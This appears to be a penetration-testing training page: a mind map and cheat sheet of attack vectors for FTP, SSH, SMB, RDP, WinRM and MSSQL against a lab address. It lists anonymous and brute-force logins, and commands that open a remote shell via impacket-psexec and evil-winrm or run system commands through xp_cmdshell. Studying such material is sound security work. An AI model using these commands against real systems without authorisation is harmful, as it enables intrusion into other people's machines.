Common Services Attack Map

Attack vectors for common services

Attacking Common Services

Tip: Click on any node to see related information!

MAP Interactive Mind Map

graph TD A[Service Discovery] --> B{Port/Service} B --> C[21 FTP] B --> D[22 SSH] B --> E[445 SMB] B --> F[3389 RDP] B --> G[1433 MSSQL] C --> H[Anonymous/Brute] D --> I[Key/Brute/Vuln] E --> J[Null/Relay/Vuln] F --> K[Brute/BlueKeep] G --> L[Default/xp_cmdshell]

REF Quick Reference

FTP (21)

ftp 10.10.10.5 # Connect to FTP server
anonymous/anonymous # Try anonymous login

SSH (22)

ssh user@10.10.10.5 # Connect via SSH with password
ssh -i id_rsa user@10.10.10.5 # Connect via SSH with private key

SMB (445)

smbclient //10.10.10.5/share -U user # Connect to SMB share
impacket-psexec user:pass@10.10.10.5 # Get shell via PsExec (needs admin)

WinRM (5985)

evil-winrm -i 10.10.10.5 -u user -p pass # Get shell via WinRM

MSSQL (1433)

impacket-mssqlclient user:pass@10.10.10.5 # Connect to MSSQL
xp_cmdshell 'whoami' # Execute command via xp_cmdshell
Back to Mind Maps View Full Module